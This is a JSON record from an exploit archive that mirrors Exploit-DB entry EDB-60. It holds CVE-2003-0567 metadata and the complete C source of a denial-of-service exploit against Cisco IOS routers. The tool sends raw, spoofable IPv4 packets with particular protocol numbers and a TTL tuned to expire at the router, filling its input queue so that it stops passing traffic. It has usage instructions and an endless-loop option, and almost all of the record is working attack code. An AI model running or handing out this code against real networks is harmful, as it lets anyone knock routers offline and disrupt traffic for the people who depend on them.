{"exploit":{"id":"EDB-60","name":"Cisco IOS - 'cisco-bug-44020.c' IPv4 Packet Denial of Service (DoS)","description":"Cisco IOS - 'cisco-bug-44020.c' IPv4 Packet Denial of Service (DoS)","cves":["CVE-2003-0567"],"author":"Martin Kluge","published":"2003-07-21","platform":"hardware","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/60","path":"exploits/hardware/dos/60.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-60.c","vulnerabilities":[{"id":"CVE-2003-0567","state":"PUBLISHED","title":null,"titleSource":null,"description":"Cisco IOS 11.x and 12.0 through 12.2 allows remote attackers to cause a denial of service (traffic block) by sending a particular sequence of IPv4 packets to an interface on the device, causing the input queue on that interface to be marked as full.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0567","cvss":{"version":"2.0","baseScore":7.8,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0567"},"updatedAt":"2024-08-08T01:58:11.019Z","retrievedAt":"2026-11-26T11:59:58.291Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-60.png?v=2","url":"https://exploitbin.com/exploits/EDB-60","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-60/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-60/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*******************************************************/\n/* cisco-bug-44020.c - Copyright by Martin Kluge (martin@elxsi.de) */\n/*                                                                                            */\n/* Feel free to modify this code as you like, as long as you include */\n/* the above copyright statement.                                               */\n/*                                                                                            */\n/* Please use this code only to check your OWN cisco routers.         */\n/*                                                                                            */\n/*                                                                                            */\n/* This exploit uses the bug in recent IOS versions to stop router    */\n/* from processing traffic once the input queue is full.                    */\n/*                                                                                            */\n/*                                                                                            */\n/* Use access control lists as described in the CISCO advisory to     */\n/* protect your cisco routers:                                                       */\n/*                                                                                            */\n/* access-list 101 deny 53 any any                                              */\n/* access-list 101 deny 55 any any                                              */\n/* access-list 101 deny 77 any any                                              */\n/* access-list 101 deny 103 any any                                            */\n/*                                                                                            */\n/* This code was only tested on linux, no warranty is or will be        */\n/*                                                                                            */\n/* Usage: ./cisco-bug-44020 <src ip> <dst ip> <hops> <number>  */\n/* Source IP: Your source IP (or a spoofed source IP)                    */\n/* Destination IP: The IP of the vulnerable cisco router                  */\n/* Hops: The number of hops between you and the router,             */\n/* the time to live (ttl) should be 0 when the packet                      */\n/* is received by the cisco router.                                                 */\n/* Number: Number of packets to send (0 = loop)                         */\n/* provided.                                                                              */\n/*******************************************************/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include <arpa/inet.h>\n#include <netinet/in.h>\n\n#include <sys/time.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n\n#define DEBUG\n\n#ifndef IPPROTO_RAW\n#define IPPROTO_RAW 0\n#endif\n\n/* IPv4 header */\nstruct ipv4_pkt_header {\nunsigned int ipvhl:8; /* Version + Header length */\nunsigned int type_service:8; /* TOS(Type of Service) field */\nunsigned short packet_len; /* Header+Payload length */\nunsigned short ident; /* Identification field */\nunsigned short fragment; /* Fragment Offset field */\nunsigned int time_live:8; /* TTL(Time to Live) field */\nunsigned int protocol:8; /* Protocol field */\nunsigned short sum; /* Checksum field */\nstruct in_addr src_ip; /* Source IP */\nstruct in_addr dst_ip; /* Destination IP */\n};\n\n\nchar proto[] = {53,55,77,103};\n\n\n/* Prototypes */\nint in_cksum (unsigned short *, int, int);\n\n\n/* Main function */\nint main (int argc, char *argv[]) {\nstruct ipv4_pkt_header ipv4_hdr;\nstruct sockaddr_in sin;\nstruct timeval seed;\n\nunsigned long src_ip, dst_ip;\nint fd, hops, count, bytes;\nint len=0, i=0, n=0, loop=0;\n\nunsigned char *buf;\n\n/* Check command line args */\nif(argc != 5) {\nfprintf(stderr, \"Usage: %s <src ip> <dst ip> <hops> <number>\\n\\n\", argv[0]);\nreturn(EXIT_FAILURE);\n}\n\nsrc_ip = inet_addr(argv[1]);\ndst_ip = inet_addr(argv[2]);\nhops = atoi(argv[3]);\ncount = atoi(argv[4]);\n\nif(count == 0) { loop=1; count=1; }\n\n#ifdef DEBUG\nprintf(\"DEBUG: Hops: %i\\n\", hops);\n#endif\n\n/* Open a raw socket */\nif((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {\nfprintf(stderr, \"Error: Cannot open raw socket.\\n\");\nreturn(EXIT_FAILURE);\n}\n\n/* Build the IPv4 header */\nipv4_hdr.ipvhl = ((4 << 4) | 0x0f) & (5 | 0xf0); /* :) */\nipv4_hdr.type_service = 0x10;\n\n#ifdef OSTYPE_BSD\nipv4_hdr.packet_len = 0x14 + len;\nipv4_hdr.fragment = 0x4000;\n#else\nipv4_hdr.packet_len = htons(0x14 + len);\nipv4_hdr.fragment = htons(0x4000);\n#endif\n\nipv4_hdr.time_live = hops;\nipv4_hdr.src_ip.s_addr = src_ip;\nipv4_hdr.dst_ip.s_addr = dst_ip;\n\nwhile(n < count) {\n/* Seed the random generator */\nif(gettimeofday(&seed, NULL) == -1) {\nfprintf(stderr, \"Error: Cannot seed the random generator.\\n\");\nreturn(EXIT_FAILURE);\n}\n\nsrandom((unsigned int) (seed.tv_sec ^ seed.tv_usec));\n\nipv4_hdr.protocol = proto[random() % 0x4];\n\n#ifdef DEBUG\nprintf(\"DEBUG: Protocol: %i\\n\", ipv4_hdr.protocol);\n#endif\n\nipv4_hdr.ident = htons(random() % 0x7fff);\n\n/* Calculate checksum */\nipv4_hdr.sum = 0x0000;\nipv4_hdr.sum = in_cksum((unsigned short *) &ipv4_hdr, 0x14 + len, 0);\n\n#ifdef DEBUG\nprintf(\"DEBUG: Checksum: %i\\n\", ipv4_hdr.sum);\n#endif\n\nbuf = malloc(0x14 + len);\nmemset(buf, '\\0', 0x14 + len);\n\nmemcpy((unsigned char *) buf, (unsigned char *) &ipv4_hdr,\n0x14 + len);\n\n#ifdef DEBUG\nprintf(\"DEBUG: \");\nfor(i=0; i < 0x14 + len; i++)\nprintf(\" %02x\", buf[i]);\nprintf(\"\\n\");\n#endif\n\n\nmemset(&sin, '\\0', sizeof(struct sockaddr_in));\nsin.sin_family = AF_INET;\nsin.sin_addr.s_addr = dst_ip;\n\nbytes = sendto(fd, buf, 0x14 + len, 0, (struct sockaddr *) &sin,\nsizeof(struct sockaddr));\n\n#ifdef DEBUG\nprintf(\"DEBUG: Wrote %i bytes.\\n\", bytes);\n#endif\n\nif(loop != 1) n++;\n\nfree(buf);\n}\n\nclose(fd);\nreturn(EXIT_SUCCESS);\n}\n\n\nint in_cksum(unsigned short *addr, int len, int csum) {\nregister int sum = csum;\nunsigned short answer = 0;\nregister unsigned short *w = addr;\nregister int nleft = len;\n\n/*\n* Our algorithm is simple, using a 32 bit accumulator (sum), we add\n* sequential 16 bit words to it, and at the end, fold back all the\n* carry bits from the top 16 bits into the lower 16 bits.\n*/\nwhile (nleft > 1) {\nsum += *w++;\nnleft -= 2;\n}\n\n/* mop up an odd byte, if necessary */\nif (nleft == 1) {\nsum += htons(*(unsigned char *)w<<8);\n}\n/* add back carry outs from top 16 bits to low 16 bits */\nsum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */\nsum += (sum >> 16); /* add carry */\nanswer = ~sum; /* truncate to 16 bits */\nreturn(answer);\n}\n\n\n// milw0rm.com [2003-07-21]","sha256":"d08ac6ae96f7e12652e1c9081a1213a835c232c9d4dfcf6dcb2d7b865c2c9e42","bytes":6574,"fetchedAt":"2026-11-26T12:13:15.099Z","encoding":"utf-8 (display only; download retains original bytes)"}